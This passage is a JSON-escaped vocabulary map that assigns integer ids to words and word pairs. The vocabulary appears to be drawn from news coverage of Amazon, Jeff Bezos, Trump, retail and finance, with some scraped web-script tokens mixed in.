51052,\n  \"valuable moats\": 51053,\n  \"tankers\": 51054,\n  \"sports\": 51055,\n  \"regular sight\": 51056,\n  \"agreement 2018\": 51057,\n  \"toadstool\": 51058,\n  \"stocked goods\": 51059,\n  \"actually benefitted\": 51060,\n  \"horizons brian\": 51061,\n  \"unrig\": 51062,\n  \"cartoons\": 51063,\n  \"insider view\": 51064,\n  \"problems policing\": 51065,\n  \"investing ideas\": 51066,\n  \"microphone attacking\": 51067,\n  \"harmless trump\": 51068,\n  \"stitch\": 51069,\n  \"biggest settlement\": 51070,\n  \"bezos announced\": 51071,\n  \"plausible risk\": 51072,\n  \"just hide\": 51073,\n  \"unprecedented size\": 51074,\n  \"benefitted amazon\": 51075,\n  \"avoid raising\": 51076,\n  \"repeatedly ask\": 51077,\n  \"walks softly\": 51078,\n  \"regularly branded\": 51079,\n  \"support scams\": 51080,\n  \"app digital\": 51081,\n  \"revenue loser\": 51082,\n  \"wrong wrote\": 51083,\n  \"firm defense\": 51084,\n  \"amazon played\": 51085,\n  \"development expect\": 51086,\n  \"business world\": 51087,\n  \"sales significantly\": 51088,\n  \"southern drawl\": 51089,\n  \"224 3121\": 51090,\n  \"examiner va\": 51091,\n  \"walmart chief\": 51092,\n  \"marries\": 51093,\n  \"streaming giant\": 51094,\n  \"bureau resolved\": 51095,\n  \"tariff threat\": 51096,\n  \"facebook combined\": 51097,\n  \"harry\": 51098,\n  \"stormed\": 51099,\n  \"devoted whopping\": 51100,\n  \"city department\": 51101,\n  \"relaunching\": 51102,\n  \"subsidizes\": 51103,\n  \"just talk\": 51104,\n  \"president requires\": 51105,\n  \"funds futures\": 51106,\n  \"rapho township\": 51107,\n  \"castro deal\": 51108,\n  \"walker negotiated\": 51109,\n  \"bezo belief\": 51110,\n  \"dismisses\": 51111,\n  \"operating profit\": 51112,\n  \"bloomberg multimillionaires\": 51113,\n  \"term performance\": 51114,\n  \"shayne heffernan\": 51115,\n  \"nader\": 51116,\n  \"friends businesses\": 51117,\n  \"correct charge\": 51118,\n  \"496\": 51119,\n  \"nonprofit montessori\": 51120,\n  \"lynwood\": 51121,\n  \"notorious 2013\": 51122,\n  \"agent hawaii\": 51123,\n  \"computing backwater\": 51124,\n  \"trump opposition\": 51125,\n  \"suncor\": 51126,\n  \"sidestepping taxes\": 51127,\n  \"thriving digicracy\": 51128,\n  \"colossus worth\": 51129,\n  \"health episodes\": 51130,\n  \"calculator know\": 51131,\n  \"morning tweets\": 51132,\n  \"bryan cranston\": 51133,\n  \"released documents\": 51134,\n  \"ami connections\": 51135,\n  \"running corny\": 51136,\n  \"index following\": 51137,\n  \"cattle production\": 51138,\n  \"commerce strategy\": 51139,\n  \"encroach\": 51140,\n  \"tax free\": 51141,\n  \"sept raw\": 51142,\n  \"fedex united\": 51143,\n  \"major case\": 51144,\n  \"nation farewell\": 51145,\n  \"controversial stories\": 51146,\n  \"jobs james\": 51147,\n  \"paypal split\": 51148,\n  \"companies responsibility\": 51149,\n  \"\\u014222 9billion\": 51150,\n  \"mt pleasant\": 51151,\n  \"agreement walmart\": 51152,\n  \"alleges does\": 51153,\n  \"depth local\": 51154,\n  \"gov withdraws\": 51155,\n  \"reverse bolsonaro\": 51156,\n  \"english language\": 51157,\n  \"sme market\": 51158,\n  \"elevated spending\": 51159,\n  \"committee positions\": 51160,\n  \"experienced slower\": 51161,\n  \"expires\": 51162,\n  \"stinging defeat\": 51163,\n  \"record wealth\": 51164,\n  \"reputational risk\": 51165,\n  \"tea party\": 51166,\n  \"god don\": 51167,\n  \"tool crispr\": 51168,\n  \"scrap proposal\": 51169,\n  \"empowering labor\": 51170,\n  \"term cowen\": 51171,\n  \"rajello bloomberg\": 51172,\n  \"andavoid\": 51173,\n  \"communities act\": 51174,\n  \"iran resumes\": 51175,\n  \"story 2018\": 51176,\n  \"network amazon\": 51177,\n  \"home shopping\": 51178,\n  \"jeff sees\": 51179,\n  \"low price\": 51180,\n  \"apcustomersupport ap\": 51181,\n  \"greater taxes\": 51182,\n  \"whitesell hollywood\": 51183,\n  \"76m\": 51184,\n  \"importantly lot\": 51185,\n  \"field imagine\": 51186,\n  \"staggering billion\": 51187,\n  \"daily onslaught\": 51188,\n  \"week added\": 51189,\n  \"peace versailles\": 51190,\n  \"harris hollywood\": 51191,\n  \"mediation instructor\": 51192,\n  \"administration criticism\": 51193,\n  \"run companies\": 51194,\n  \"filmmaker jordan\": 51195,\n  \"tight news\": 51196,\n  \"democracy criticists\": 51197,\n  \"nada zilch\": 51198,\n  \"inwood neighborhood\": 51199,\n  \"roller emmaroller\": 51200,\n  \"people mail\": 51201,\n  \"customers directly\": 51202,\n  \"uae face\": 51203,\n  \"hizzoner says\": 51204,\n  \"bureaus\": 51205,\n  \"process specifically\": 51206,\n  \"keshner\": 51207,\n  \"deposit guarantees\": 51208,\n  \"buying appetite\": 51209,\n  \"presumably wanted\": 51210,\n  \"later nixon\": 51211,\n  \"york tracy\": 51212,\n  \"raided employers\": 51213,\n  \"1530798028\": 51214,\n  \"kind donation\": 51215,\n  \"giuliani\": 51216,\n  \"outcry\": 51217,\n  \"service raised\": 51218,\n  \"farrakhan\": 51219,\n  \"icy blast\": 51220,\n  \"wrote delrahim\": 51221,\n  \"alka\": 51222,\n  \"indisputable dominance\": 51223,\n  \"swelling\": 51224,\n  \"toronto ranks\": 51225,\n  \"negative publicity\": 51226,\n  \"retail health\": 51227,\n  \"orders dwindling\": 51228,\n  \"russians\": 51229,\n  \"low rates\": 51230,\n  \"outer space\": 51231,\n  \"bora erin\": 51232,\n  \"female artists\": 51233,\n  \"indiebound\": 51234,\n  \"taxes especially\": 51235,\n  \"venerable news\": 51236,\n  \"preside\": 51237,\n  \"tv luca\": 51238,\n  \"amazon policies\": 51239,\n  \"rhetoric coming\": 51240,\n  \"school original\": 51241,\n  \"eastern amazon\": 51242,\n  \"pre fund\": 51243,\n  \"big book\": 51244,\n  \"jackie costumes\": 51245,\n  \"replies\": 51246,\n  \"industries logistics\": 51247,\n  \"hired gun\": 51248,\n  \"apartment unit\": 51249,\n  \"favorite bullying\": 51250,\n  \"detergent liquid\": 51251,\n  \"fewer tears\": 51252,\n  \"retailing giant\": 51253,\n  \"2018 karen\": 51254,\n  \"extraordinarily convenient\": 51255,\n  \"recent additions\": 51256,\n  \"wild season\": 51257,\n  \"bancha duriyapat\": 51258,\n  \"examining google\": 51259,\n  \"gop voters\": 51260,\n  \"javers\": 51261,\n  \"sauce\": 51262,\n  \"declines recommending\": 51263,\n  \"online fakery\": 51264,\n  \"soft despite\": 51265,\n  \"bringing home\": 51266,\n  \"leaks person\": 51267,\n  \"hq2 long\": 51268,\n  \"big investor\": 51269,\n  \"patricia highsmith\": 51270,\n  \"central texas\": 51271,\n  \"clusters\": 51272,\n  \"kill zone\": 51273,\n  \"digital group\": 51274,\n  \"flake joins\": 51275,\n  \"business roundtable\": 51276,\n  \"city centre\": 51277,\n  \"buyerzonewidgets photoessayslidemodels\": 51278,\n  \"private exchanges\": 51279,\n  \"billionaire referring\": 51280,\n  \"post did\": 51281,\n  \"2013 wasn\": 51282,\n  \"innovative benefits\": 51283,\n  \"khairul\": 51284,\n  \"referred jeff\": 51285,\n  \"brother argued\": 51286,\n  \"cmo\": 51287,\n  \"face printed\": 51288,\n  \"wayne girl\": 51289,\n  \"johnhendel\": 51290,\n  \"powering bitcoin\": 51291,\n  \"140bn\": 51292,\n  \"holman\": 51293,\n  \"giant historically\": 51294,\n  \"sanders website\": 51295,\n  \"annihilation photo\": 51296,\n  \"time seller\": 51297,\n  \"sustained economy\": 51298,\n  \"investing event\": 51299,\n  \"ballroom\": 51300,\n  \"unionization\": 51301,\n  \"22nd\": 51302,\n  \"scary\": 51303,\n  \"county missouri\": 51304,\n  \"contentment\": 51305,\n  \"brazil\": 51306,\n  \"lauran\": 51307,\n  \"quotes trump\": 51308,\n  \"current board\": 51309,\n  \"bank renamed\": 51310,\n  \"airlifted vietnamese\": 51311,\n  \"detective trying\": 51312,\n  \"complex state\": 51313,\n  \"nikulshina\": 51314,\n  \"angeles ahead\": 51315,\n  \"press jeff\": 51316,\n  \"restarting ford\": 51317,\n  \"year experience\": 51318,\n  \"published noteworthy\": 51319,\n  \"2019 citing\": 51320,\n  \"fort greene\": 51321,\n  \"fundamental weaknesses\": 51322,\n  \"consumer benefits\": 51323,\n  \"07017b cnl_calculated_color\": 51324,\n  \"industry officials\": 51325,\n  \"stake reynders\": 51326,\n  \"gongloff\": 51327,\n  \"just paid\": 51328,\n  \"infringement jacob\": 51329,\n  \"francois\": 51330,\n  \"allows company\": 51331,\n  \"mid west\": 51332,\n  \"americans voted\": 51333,\n  \"richest billionaire\": 51334,\n  \"image toad\": 51335,\n  \"gone pop\": 51336,\n  \"influenced multi\": 51337,\n  \"worldwide peter\": 51338,\n  \"dominant commerce\": 51339,\n  \"city including\": 51340,\n  \"defeat president\": 51341,\n  \"eventually disbanded\": 51342,\n  \"huis\": 51343,\n  \"inbetween\": 51344,\n  \"josh hoxie\": 51345,\n  \"holzer holzer\": 51346,\n  \"opening deals\": 51347,\n  \"mahaney rbc\": 51348,\n  \"post accusing\": 51349,\n  \"prove valuable\": 51350,\n  \"artist bad\": 51351,\n  \"services rose\": 51352,\n  \"swooned bathing\": 51353,\n  \"aerodynamic\": 51354,\n  \"court fee\": 51355,\n  \"company apparently\": 51356,\n  \"schappert\": 51357,\n  \"image consultant\": 51358,\n  \"gilberto soares\": 51359,\n  \"brand ivanka\": 51360,\n  \"claimed abramowitz\": 51361,\n  \"drill\": 51362,\n  \"longest government\": 51363,\n  \"sessions cheers\": 51364,\n  \"lightweight moisture\": 51365,\n  \"miracle\": 51366,\n  \"desperately need\": 51367,\n  \"bits worth\": 51368,\n  \"kingdom approval\": 51369,\n  \"provides management\": 51370,\n  \"crude settled\": 51371,\n  \"ceos drawing\": 51372,\n  \"clicking sign\": 51373,\n  \"success headlineposttext\": 51374,\n  \"condemned amazon\": 51375,\n  \"widespread demands\": 51376,\n  \"autonomous institution\": 51377,\n  \"person strolling\": 51378,\n  \"sharing technologies\": 51379,\n  \"bolstered\": 51380,\n  \"different revenue\": 51381,\n  \"articles intel\": 51382,\n  \"huge subsidies\": 51383,\n  \"modern home\": 51384,\n  \"primary\": 51385,\n  \"costco reported\": 51386,\n  \"famous people\": 51387,\n  \"violated antitrust\": 51388,\n  \"maria cantwell\": 51389,\n  \"state laws\": 51390,\n  \"trespasser\": 51391,\n  \"electoral college\": 51392,\n  \"vast personal\": 51393,\n  \"supported democrats\": 51394,\n  \"onewest bank\": 51395,\n  \"officials plans\": 51396,\n  \"lyophilized\": 51397,\n  \"apple beat\": 51398,\n  \"congress sent\": 51399,\n  \"higher stocks\": 51400,\n  \"reutersmedia\": 51401,\n  \"gathering opened\": 51402,\n  \"hands free\": 51403,\n  \"var m2x\": 51404,\n  \"today rejected\": 51405,\n  \"regulating search\": 51406,\n  \"internet services\": 51407,\n  \"edition following\": 51408,\n  \"increase wasn\": 51409,\n  \"gazing\": 51410,\n  \"readdanwrite\": 51411,\n  \"costs going\": 51412,\n  \"astroturfing\": 51413,\n  \"entire regions\": 51414,\n  \"venture firm\": 51415,\n  \"hardly champion\": 51416,\n  \"scale mccain\": 51417,\n  \"ftes\": 51418,\n  \"times economic\": 51419,\n  \"t5 h5\": 51420,\n  \"apple doesn\": 51421,\n  \"sniffing\": 51422,\n  \"investors cheered\": 51423,\n  \"furnishings retailer\": 51424,\n  \"finalized mackenzie\": 51425,\n  \"fall trump\": 51426,\n  \"party diversity\": 51427,\n  \"boulder senior\": 51428,\n  \"leave comment\": 51429,\n  \"dutch nationals\": 51430,\n  \"lately pulling\": 51431,\n  \"ticker security\": 51432,\n  \"rachel adler\": 51433,\n  \"bezos posing\": 51434,\n  \"market gains\": 51435,\n  \"amy coney\": 51436,\n  \"bigwigs steve\": 51437,\n  \"walsh susan\": 51438,\n  \"possible privatization\": 51439,\n  \"congress doesn\": 51440,\n  \"satanic bible\": 51441,\n  \"minister staring\": 51442,\n  \"close relationship\": 51443,\n  \"thedeal\": 51444,\n  \"quantico virginia\": 51445,\n  \"dominates online\": 51446,\n  \"discusses controversial\": 51447,\n  \"guilty pleas\": 51448,\n  \"bogeymen\": 51449,\n  \"speech debate\": 51450,\n  \"saudi propaganda\": 51451,\n  \"cup championship\": 51452,\n  \"getty aws\": 51453,\n  \"210 000\": 51454,\n  \"home listing\": 51455,\n  \"macy bed\": 51456,\n  \"sa mindanao\": 51457,\n  \"foiling trump\": 51458,\n  \"crazy\": 51459,\n  \"post journalists\": 51460,\n  \"warns democrats\": 51461,\n  \"competitive spirit\": 51462,\n  \"budget released\": 51463,\n  \"describing tech\": 51464,\n  \"amazon thoroughly\": 51465,\n  \"quoting\": 51466,\n  \"told time\": 51467,\n  \"positions amazon\": 51468,\n  \"began driving\": 51469,\n  \"nonfiction st\": 51470,\n  \"attacks introducing\": 51471,\n  \"context right\": 51472,\n  \"supportive relationship\": 51473,\n  \"trades early\": 51474,\n  \"department local\": 51475,\n  \"known cerrado\": 51476,\n  \"7mx6tc32za smash\": 51477,\n  \"little businesses\": 51478,\n  \"selflessly\": 51479,\n  \"ruin\": 51480,\n  \"forced overtime\": 51481,\n  \"yourterm\": 51482,\n  \"buildings near\": 51483,\n  \"formally telling\": 51484,\n  \"charlie shea\": 51485,\n  \"pension fund\": 51486,\n  \"boyfriend little\": 51487,\n  \"business activity\": 51488,\n  \"history says\": 51489,\n  \"ohanian shares\": 51490,\n  \"birthday cards\": 51491,\n  \"hiring exciting\": 51492,\n  \"paved\": 51493,\n  \"session continued\": 51494,\n  \"businesses including\": 51495,\n  \"enforcement priority\": 51496,\n  \"unnamed wh\": 51497,\n  \"guaid\\u00f3\": 51498,\n  \"dirtiest\": 51499,\n  \"unsuccessfully demanded\": 51500,\n  \"republicans support\": 51501,\n  \"deaths damage\": 51502,\n  \"amazon envisions\": 51503,\n  \"followin read\": 51504,\n  \"lowering yields\": 51505,\n  \"kors\": 51506,\n  \"primaries pawlenty\": 51507,\n  \"require vesa\": 51508,\n  \"holdings cypress\": 51509,\n  \"cash express\": 51510,\n  \"cooperate trump\": 51511,\n  \"event commemorating\": 51512,\n  \"wheelhouse\": 51513,\n  \"hamlet\": 51514,\n  \"lawmakers\": 51515,\n  \"does create\": 51516,\n  \"investor stanley\": 51517,\n  \"lawyer elkan\": 51518,\n  \"begins amazon\": 51519,\n  \"screenphotos glitter\": 51520,\n  \"assassins\": 51521,\n  \"evaluate areas\": 51522,\n  \"focus large\": 51523,\n  \"trump signature\": 51524,\n  \"curb spam\": 51525,\n  \"news released\": 51526,\n  \"psa just\": 51527,\n  \"impediment\": 51528,\n  \"gerrymandered districts\": 51529,\n  \"make mexico\": 51530,\n  \"pinochet\": 51531,\n  \"quidsi founders\": 51532,\n  \"drummer girl\": 51533,\n  \"called nbc\": 51534,\n  \"sellers receive\": 51535,\n  \"trumps word\": 51536,\n  \"queens asking\": 51537,\n  \"ambitions claiming\": 51538,\n  \"continued saying\": 51539,\n  \"file lawsuit\": 51540,\n  \"india platforms\": 51541,\n  \"commitment\": 51542,\n  \"international flights\": 51543,\n  \"laura\": 51544,\n  \"amazon love\": 51545,\n  \"literally hitler\": 51546,\n  \"channel send\": 51547,\n  \"centers family\": 51548,\n  \"associates kanye\": 51549,\n  \"represents solely\": 51550,\n  \"daisies\": 51551,\n  \"thecounter intelligence\": 51552,\n  \"active financing\": 51553,\n  \"bezos inability\": 51554,\n  \"annual lunar\": 51555,\n  \"gerald riverhead\": 51556,\n  \"carrier amerijet\": 51557,\n  \"surveillance technologies\": 51558,\n  \"adequately measure\": 51559,\n  \"agile\": 51560,\n  \"harassment issue\": 51561,\n  \"water pollution\": 51562,\n  \"bright spots\": 51563,\n  \"ambiguous recording\": 51564,\n  \"dealbook\": 51565,\n  \"good intentions\": 51566,\n  \"publicly denied\": 51567,\n  \"power tell\": 51568,\n  \"enquirer store\": 51569,\n  \"people familiar\": 51570,\n  \"law aimed\": 51571,\n  \"outsmart\": 51572,\n  \"fracking\": 51573,\n  \"president haircut\": 51574,\n  \"stopped demanding\": 51575,\n  \"service address\": 51576,\n  \"40m\": 51577,\n  \"billion pieces\": 51578,\n  \"chairman gou\": 51579,\n  \"south county\": 51580,\n  \"missourians\": 51581,\n  \"extra frames\": 51582,\n  \"lovesick\": 51583,\n  \"actively blocked\": 51584,\n  \"having breakdowns\": 51585,\n  \"andrew keshner\": 51586,\n  \"cub\": 51587,\n  \"underpenetrated categories\": 51588,\n  \"different periods\": 51589,\n  \"great support\": 51590,\n  \"200 watt\": 51591,\n  \"congress kelly\": 51592,\n  \"lows\": 51593,\n  \"include introductions\": 51594,\n  \"sharon\": 51595,\n  \"npr midterms\": 51596,\n  \"trump led\": 51597,\n  \"topping analysts\": 51598,\n  \"prompted companies\": 51599,\n  \"second questionable\": 51600,\n  \"justice threats\": 51601,\n  \"press critics\": 51602,\n  \"ibo middleweight\": 51603,\n  \"obama bezos\": 51604,\n  \"thoughtful\": 51605,\n  \"legal action\": 51606,\n  \"surprised allies\": 51607,\n  \"undocumented persons\": 51608,\n  \"story food\": 51609,\n  \"offer offers\": 51610,\n  \"mb\": 51611,\n  \"unpaid pundit\": 51612,\n  \"moore effect\": 51613,\n  \"community launching\": 51614,\n  \"unhinged\": 51615,\n  \"feasible policing\": 51616,\n  \"crown jewels\": 51617,\n  \"wrote brittany\": 51618,\n  \"prime movie\": 51619,\n  \"travel cymru\": 51620,\n  \"seeing crazy\": 51621,\n  \"term ju\": 51622,\n  \"trump cruelty\": 51623,\n  \"unjustified\": 51624,\n  \"wendy goodman\": 51625,\n  \"big brewers\": 51626,\n  \"incentivize competitors\": 51627,\n  \"videocardcontents duration\": 51628,\n  \"criticizing walmart\": 51629,\n  \"california 39th\": 51630,\n  \"alderson played\": 51631,\n  \"began dominating\": 51632,\n  \"programmes\": 51633,\n  \"falsified\": 51634,\n  \"official daniel\": 51635,\n  \"legislative outcome\": 51636,\n  \"president agitation\": 51637,\n  \"cloud pain\": 51638,\n  \"warfare says\": 51639,\n  \"father trumped\": 51640,\n  \"oppenheimer newsmakers\": 51641,\n  \"carve cutting\": 51642,\n  \"historian\": 51643,\n  \"tv recorder\": 51644,\n  \"company commercial\": 51645,\n  \"caufield byers\": 51646,\n  \"video featuring\": 51647,\n  \"wars ignited\": 51648,\n  \"retail competitors\": 51649,\n  \"lot longer\": 51650,\n  \"ami privately\": 51651,\n  \"just joining\": 51652,\n  \"wetherby asset\": 51653,\n  \"keeping worried\": 51654,\n  \"needing help\": 51655,\n  \"amd celebrates\": 51656,\n  \"protester violence\": 51657,\n  \"business winning\": 51658,\n  \"operates massive\": 51659,\n  \"assistant managing\": 51660,\n  \"future danielle\": 51661,\n  \"p60 processor\": 51662,\n  \"old subway\": 51663,\n  \"grossly undervaluing\": 51664,\n  \"weekly papers\": 51665,\n  \"2016 cdc\": 51666,\n  \"sparked reaction\": 51667,\n  \"black hills\": 51668,\n  \"close tie\": 51669,\n  \"damage policies\": 51670,\n  \"notices\": 51671,\n  \"landowner\": 51672,\n  \"union spent\": 51673,\n  \"impression want\": 51674,\n  \"analyst jackbeattynpr\": 51675,\n  \"natural heritage\": 51676,\n  \"rap album\": 51677,\n  \"onerous package\": 51678,\n  \"customize\": 51679,\n  \"covers tech\": 51680,\n  \"newspaper hard\": 51681,\n  \"split stands\": 51682,\n  \"greenspan talk\": 51683,\n  \"killed hq2\": 51684,\n  \"nominated corey\": 51685,\n  \"word letter\": 51686,\n  \"reuters morgan\": 51687,\n  \"readers real\": 51688,\n  \"michael mccaul\": 51689,\n  \"rich dicriscio\": 51690,\n  \"nba yay\": 51691,\n  \"spotify complaint\": 51692,\n  \"unconstitutional\": 51693,\n  \"wage wouldnt\": 51694,\n  \"brexit proceedings\": 51695,\n  \"qanon jumps\": 51696,\n  \"detroit news\": 51697,\n  \"trump actions\": 51698,\n  \"model associates\": 51699,\n  \"brka brka\": 51700,\n  \"assets respondents\": 51701,\n  \"impinging\": 51702,\n  \"diamond fox\": 51703,\n  \"park avenue\": 51704,\n  \"declared legal\": 51705,\n  \"bruce springsteen\": 51706,\n  \"ore trump\": 51707,\n  \"matter week\": 51708,\n  \"reap larger\": 51709,\n  \"roberts file\": 51710,\n  \"example apple\": 51711,\n  \"estimates amazon\": 51712,\n  \"altered seeds\": 51713,\n  \"superior returns\": 51714,\n  \"mark jacobson\": 51715,\n  \"toy company\": 51716,\n  \"rosenbaum\": 51717,\n  \"phil philfrobisher\": 51718,\n  \"remains silent\": 51719,\n  \"amazon positive\": 51720,\n  \"gunter\": 51721,\n  \"ponnuru\": 51722,\n  \"commissioner richardson\": 51723,\n  \"remained friendly\": 51724,\n  \"good opportunity\": 51725,\n  \"firefighter\": 51726,\n  \"foxnews msnbc\": 51727,\n  \"including asians\": 51728,\n  \"real value\": 51729,\n  \"quadrupled\": 51730,\n  \"hires investigators\": 51731,\n  \"labor rights\": 51732,\n  \"showtime app\": 51733,\n  \"new profit\": 51734,\n  \"businesses hope\": 51735,\n  \"scrutiny cnn\": 51736,\n  \"767 cargo\": 51737,\n  \"beat wnyc\": 51738,\n  \"bezos figures\": 51739,\n  \"subcommittee chairman\": 51740,\n  \"fly slightly\": 51741,\n  \"computer riser\": 51742,\n  \"refugees fear\": 51743,\n  \"annie hall\": 51744,\n  \"generated significantly\": 51745,\n  \"catch\": 51746,\n  \"traditional advantages\": 51747,\n  \"inspiring writing\": 51748,\n  \"rider press\": 51749,\n  \"vegan data\": 51750,\n  \"philadelphia search\": 51751,\n  \"agcom italy\": 51752,\n  \"jianjiao buluo\": 51753,\n  \"24c\": 51754,\n  \"keeps uncovering\": 51755,\n  \"price wars\": 51756,\n  \"day barbara\": 51757,\n  \"leaning institute\": 51758,\n  \"registered voters\": 51759,\n  \"wadhwa 415\": 51760,\n  \"vernon chrisvernonshow\": 51761,\n  \"board approved\": 51762,\n  \"trump dossier\": 51763,\n  \"antczak\": 51764,\n  \"party app\": 51765,\n  \"bezos way\": 51766,\n  \"aftershocks\": 51767,\n  \"exploration tim\": 51768,\n  \"partner community\": 51769,\n  \"new copyright\": 51770,\n  \"reproduction\": 51771,\n  \"analysts photo\": 51772,\n  \"inappropriate purposes\": 51773,\n  \"var s4a\": 51774,\n  \"thought project\": 51775,\n  \"echo audible\": 51776,\n  \"mayvenn\": 51777,\n  \"buyback hershey\": 51778,\n  \"win streak\": 51779,\n  \"precipitated\": 51780,\n  \"years social\": 51781,\n  \"labor law\": 51782,\n  \"badmouthed press\": 51783,\n  \"needs howorth\": 51784,\n  \"directors convened\": 51785,\n  \"did spoof\": 51786,\n  \"significant asset\": 51787,\n  \"commissioned commercial\": 51788,\n  \"daily mail\": 51789,\n  \"major beef\": 51790,\n  \"gentleman quiet\": 51791,\n  \"rockets president\": 51792,\n  \"megyn kelly\": 51793,\n  \"flynn boyle\": 51794,\n  \"story charles\": 51795,\n  \"carnegie amazon\": 51796,\n  \"wrecking ball\": 51797,\n  \"quinnipiac poll\": 51798,\n  \"interview provided\": 51799,\n  \"remembrance\": 51800,\n  \"wood capital\": 51801,\n  \"company ultimately\": 51802,\n  \"newest corporate\": 51803,\n  \"partners canada\": 51804,\n  \"vantagewire\": 51805,\n  \"sasha ingber\": 51806,\n  \"consistent coaching\": 51807,\n  \"visit cities\": 51808,\n  \"stop crimes\": 51809,\n  \"solar installations\": 51810,\n  \"ignition zones\": 51811,\n  \"warm welcome\": 51812,\n  \"sources sao\": 51813,\n  \"investigation bezos\": 51814,\n  \"written recent\": 51815,\n  \"sea wall\": 51816,\n  \"annabelle\": 51817,\n  \"ish feels\": 51818,\n  \"early slide\": 51819,\n  \"craft low\": 51820,\n  \"liquidate\": 51821,\n  \"mngmt holds\": 51822,\n  \"garner lot\": 51823,\n  \"wrong item\": 51824,\n  \"words kids\": 51825,\n  \"printed accounts\": 51826,\n  \"repressed desires\": 51827,\n  \"little odd\": 51828,\n  \"mashup\": 51829,\n  \"desist order\": 51830,\n  \"zuker failures\": 51831,\n  \"looking socks\": 51832,\n  \"double agents\": 51833,\n  \"remain elevated\": 51834,\n  \"jail obviously\": 51835,\n  \"satirize\": 51836,\n  \"severe winter\": 51837,\n  \"publisher admitted\": 51838,\n  \"bombs food\": 51839,\n  \"housing authority\": 51840,\n  \"crowded field\": 51841,\n  \"ma bell\": 51842,\n  \"branded cargo\": 51843,\n  \"1999 bolsonaro\": 51844,\n  \"wealthy professionals\": 51845,\n  \"adage\": 51846,\n  \"exercised\": 51847,\n  \"business internationally\": 51848,\n  \"aidy\": 51849,\n  \"dealt major\": 51850,\n  \"alomran aomran229\": 51851,\n  \"skirt\": 51852,\n  \"guests barack\": 51853,\n  \"w8 pa\": 51854,\n  \"reviews bezos\": 51855,\n  \"enquirer campaign\": 51856,\n  \"shelf commerce\": 51857,\n  \"election contributions\": 51858,\n  \"nonstick\": 51859,\n  \"tragic death\": 51860,\n  \"kengor\": 51861,\n  \"jquery whatsappshareelement\": 51862,\n  \"ticket sales\": 51863,\n  \"gop affiliated\": 51864,\n  \"ball nicole\": 51865,\n  \"2017tony\": 51866,\n  \"customers happier\": 51867,\n  \"critical\": 51868,\n  \"usps delivery\": 51869,\n  \"costs topped\": 51870,\n  \"nand memory\": 51871,\n  \"officer\": 51872,\n  \"abandon\": 51873,\n  \"betting site\": 51874,\n  \"century society\": 51875,\n  \"sciences q2\": 51876,\n  \"recent pillpack\": 51877,\n  \"policy response\": 51878,\n  \"risks google\": 51879,\n  \"cites progress\": 51880,\n  \"callahan\": 51881,\n  \"washington heirs\": 51882,\n  \"industry overall\": 51883,\n  \"xly\": 51884,\n  \"sahara border\": 51885,\n  \"allsop\": 51886,\n  \"mccarthy read\": 51887,\n  \"symantec\": 51888,\n  \"retail sports\": 51889,\n  \"2018 potential\": 51890,\n  \"snout\": 51891,\n  \"jeff koons\": 51892,\n  \"bluetooth speaker\": 51893,\n  \"cheating\": 51894,\n  \"era hasn\": 51895,\n  \"trade detente\": 51896,\n  \"threat based\": 51897,\n  \"hubs\": 51898,\n  \"ap steven\": 51899,\n  \"high earners\": 51900,\n  \"introducing financial\": 51901,\n  \"rebuffed trump\": 51902,\n  \"bullet points\": 51903,\n  \"control\": 51904,\n  \"timothy burke\": 51905,\n  \"1018939686121861120\": 51906,\n  \"reassure allies\": 51907,\n  \"insurance\": 51908,\n  \"avoid detection\": 51909,\n  \"china companies\": 51910,\n  \"average revenue\": 51911,\n  \"point trump\": 51912,\n  \"devices recorded\": 51913,\n  \"commented positively\": 51914,\n  \"whets appetites\": 51915,\n  \"stone indictment\": 51916,\n  \"volpe polling\": 51917,\n  \"amazon tendency\": 51918,\n  \"capability\": 51919,\n  \"followed people\": 51920,\n  \"reporter tweetstorm\": 51921,\n  \"periodic sales\": 51922,\n  \"ecb\": 51923,\n  \"screenshots\": 51924,\n  \"postmortal novel\": 51925,\n  \"anticompetitive conduct\": 51926,\n  \"help spark\": 51927,\n  \"led chorus\": 51928,\n  \"increases despite\": 51929,\n  \"amazon attempted\": 51930,\n  \"defined outcomes\": 51931,\n  \"definition\": 51932,\n  \"large company\": 51933,\n  \"tl ipec\": 51934,\n  \"dccc\": 51935,\n  \"mandel\": 51936,\n  \"owner david\": 51937,\n  \"gone mad\": 51938,\n  \"despite glitchy\": 51939,\n  \"sitcom\": 51940,\n  \"official white\": 51941,\n  \"20180625 story\": 51942,\n  \"california photo\": 51943,\n  \"department asset\": 51944,\n  \"null inc_pubdate\": 51945,\n  \"likes fox\": 51946,\n  \"whopping 475\": 51947,\n  \"right congressman\": 51948,\n  \"favour particular\": 51949,\n  \"motivations make\": 51950,\n  \"data owl\": 51951,\n  \"bank shot\": 51952,\n  \"delivery fda\": 51953,\n  \"chinese researchers\": 51954,\n  \"parents claim\": 51955,\n  \"scan packages\": 51956,\n  \"chief jerry\": 51957,\n  \"world offering\": 51958,\n  \"year exceeded\": 51959,\n  \"venezuelan border\": 51960,\n  \"spacex amazon\": 51961,\n  \"court planned\": 51962,\n  \"politicians opposition\": 51963,\n  \"marketing people\": 51964,\n  \"afternoon amazon\": 51965,\n  \"party courier\": 51966,\n  \"member pension\": 51967,\n  \"finished later\": 51968,\n  \"states according\": 51969,\n  \"released short\": 51970,\n  \"matters altogether\": 51971,\n  \"climate scientists\": 51972,\n  \"verizon 5g\": 51973,\n  \"necessary action\": 51974,\n  \"matter cartels\": 51975,\n  \"developing midwest\": 51976,\n  \"valuable minerals\": 51977,\n  \"job tax\": 51978,\n  \"function g5q\": 51979,\n  \"thanksgiving table\": 51980,\n  \"naughty\": 51981,\n  \"upcoming 700\": 51982,\n  \"director told\": 51983,\n  \"trolling trump\": 51984,\n  \"photos trump\": 51985,\n  \"withdrawing troops\": 51986,\n  \"biggest carbon\": 51987,\n  \"wakefield\": 51988,\n  \"smartphone data\": 51989,\n  \"america porn\": 51990,\n  \"original anthology\": 51991,\n  \"mystique tim\": 51992,\n  \"time making\": 51993,\n  \"red bowtie\": 51994,\n  \"endure grueling\": 51995,\n  \"legally deliver\": 51996,\n  \"unique competitive\": 51997,\n  \"spectacular light\": 51998,\n  \"pillpack sooner\": 51999,\n  \"2018 adjusted\": 52000,\n  \"longtime tesla\": 52001,\n  \"trump billion\": 52002,\n  \"prosecutorial power\": 52003,\n  \"coons\": 52004,\n  \"added washington\": 52005,\n  \"administration ge\": 52006,\n  \"painter\": 52007,\n  \"abby love\": 52008,\n  \"amazon disrupting\": 52009,\n  \"court decides\": 52010,\n  \"cuomo says\": 52011,\n  \"cortez grew\": 52012,\n  \"including cloud\": 52013,\n  \"failure tax\": 52014,\n  \"lease completed\": 52015,\n  \"federal securities\": 52016,\n  \"steve mnuchkin\": 